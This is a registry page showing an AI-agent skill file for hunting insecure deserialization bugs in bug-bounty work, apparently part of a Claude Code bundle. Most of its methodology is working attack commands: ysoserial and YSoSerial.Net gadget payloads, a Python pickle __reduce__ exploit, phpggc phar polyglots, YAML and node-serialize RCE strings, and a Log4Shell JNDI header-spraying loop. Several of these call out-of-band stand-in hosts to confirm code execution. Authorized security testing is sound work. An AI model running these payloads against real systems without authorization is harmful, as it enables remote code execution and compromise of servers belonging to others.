hunt-deserialization
Skill4.8k starsChanged 5 months agoMITView on GitHub
Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.
- Sends data out
1 other project uses a version of this.
Trending
More talk lately.thin dataabout the whole repository
Most recently taken up by
- Encod3d-Sec/TORCHtheir own version, first seen Aug 12, 2026
Who's talking about elementalsouls/Claude-BugHunter
- @camilleroux.com“Un bundle Claude Code pour le bug hunting : 51 skills, 15 slash commands, 681 patterns tirés de rapports …”Bluesky · Jun 7, 2026 · 5 likes
- @baumannzone.dev“Claude-BugHunter no es "otro prompt de seguridad". Reúne 83 skills que se cargan según la tarea, 15 …”Bluesky · Sep 2, 2026 · 3 likes
- A Hacker News story“Show HN: Claude Code Bundle for Bug Hunting with 574 Report Patterns”Hacker News · May 20, 2026 · 1 points
- uinstinct/aiskills“ai skills”GitHub · Oct 4, 2026
- sudosubin/agents.nix“agent-skills.github.elementalsouls.claude-bughunter: init at 2.1”GitHub · Sep 27, 2026
The biggest 5 of 7 mentions linking to the repository that our crawl found. Each line is their own headline.
See all 7
Talked about on GitHub, Bluesky and Hacker News (7 times).
On GitHub · 4
- Oct 4, 2026ai skills — uinstinct/aiskills0 reactions
- Sep 27, 2026agent-skills.github.elementalsouls.claude-bughunter: init at 2.1 — sudosubin/agents.nix0 reactions
- May 31, 2026feat: CLI tool for GitHub repository discovery and recommendation — humanaios-ui/operations0 reactions
- May 24, 2026Audit candidate: elementalsouls/Claude-BugHunter — xiaolai/nlpm0 reactions · 10 comments
On Bluesky · 2
- Jun 7, 2026Un bundle Claude Code pour le bug hunting : 51 skills, 15 slash commands, 681 patterns tirés de rapports HackerOne réels, couvrant 24… — @camilleroux.com5 likes and reposts · 1 reply
- Sep 2, 2026Claude-BugHunter no es "otro prompt de seguridad". Reúne 83 skills que se cargan según la tarea, 15 comandos y patrones de 681 reportes… — @baumannzone.dev3 likes and reposts
On Hacker News · 1
- May 20, 2026Show HN: Claude Code Bundle for Bug Hunting with 574 Report Patterns1 point · 1 comment
Other versions1 project uses a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 1
- Encod3d-Sec/TORCH★ 329same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository82 other files it gives its agents.
- apk-redteam-pipelineSkill
- bb-local-toolkitSkill
- bb-methodologySkill
- bug-bountySkill
- bugcrowd-reportingSkill
- cloud-iam-deepSkill
- enterprise-vpn-attackSkill
- evidence-hygieneSkill
- hunt-api-misconfigSkill
- hunt-aspnetSkill
- hunt-atoSkill
- hunt-auth-bypassSkill
- hunt-brute-forceSkill
- hunt-business-logicSkill
- hunt-cache-poisonSkill
- hunt-captcha-bypassSkill
- hunt-cicdSkill
- hunt-clickjackingSkill
- hunt-cloud-misconfigSkill
- hunt-corsSkill
- hunt-csrfSkill
- hunt-dispatchSkill
- hunt-domSkill
- hunt-exceptional-conditionsSkill
- hunt-file-uploadSkill
- hunt-fintech-graphqlSkill
- hunt-forgot-passwordSkill
- hunt-graphqlSkill
- hunt-grpcSkill
- hunt-host-headerSkill
- hunt-html-injectionSkill
- hunt-http-smugglingSkill
- hunt-idorSkill
- hunt-jwt-cryptoSkill
- hunt-k8sSkill
- hunt-laravelSkill
- hunt-ldapSkill
- hunt-lfiSkill
- hunt-llm-aiSkill
- hunt-mfa-bypassSkill
- hunt-miscSkill
- hunt-nextjsSkill
- hunt-nodejsSkill
- hunt-nosqliSkill
- hunt-ntlm-infoSkill
- hunt-oauthSkill
- hunt-open-redirectSkill
- hunt-race-conditionSkill
- hunt-rag-vectorSkill
- hunt-rceSkill
- hunt-samlSkill
- hunt-sessionSkill
- hunt-shadow-apiSkill
- hunt-sharepointSkill
- hunt-source-leakSkill
- hunt-spa-apiSkill
- hunt-springbootSkill
- hunt-sqliSkill
- hunt-ssrfSkill
- hunt-sstiSkill
- The first 60 shown.
The file
Files
HUNT-DESERIALIZATION — Insecure Deserialization
Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
Highest-value chains:
- Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- PHP Object Injection —
__wakeup/__destructmagic methods → file write / RCE - Python pickle —
pickle.loads(attacker_data)→__reduce__→os.system('id') - .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
- Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
- JNDI injection — Log4Shell pattern:
${jndi:ldap://attacker/a}→ class load → RCE
Attack Surface Signals
Detection Patterns
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/Header / Cookie Signals
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/Step-by-Step Hunting Methodology
Phase 1 — Java Deserialization (ysoserial)
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"Phase 2 — PHP Object Injection
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64Phase 3 — Python Pickle
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pklPhase 3b — PHP phar://, Python YAML, Node deserialization
- PHP phar:// (no
unserialize()call) — any filesystem function (file_exists/fopen/getimagesize) on aphar://path deserializes the archive metadata -> object injection with zerounserialize()in code.phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot # then reach phar://uploads/poly.jpg/x via any fs call - Python
yaml.load()(CVE-2017-18342) — pre-5.1 default-unsafe:!!python/object/apply:os.system ['curl http://$COLLAB/yaml'] - Node
node-serialize(CVE-2017-5941) — IIFE marker in any field passed tounserialize():{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}
Phase 4 — .NET ViewState
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64Phase 5 — Log4Shell / JNDI
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"Phase 6 — Ruby Marshal
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgetsChain Table
| Deserialization signal | Chain to | Impact |
| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |
| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
Automation
# OOB listener
interactsh-client -v -n 5
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-KitValidation
✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed ✅ Command output in response: full RCE confirmed
Severity: Almost always Critical — RCE with server process privileges.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

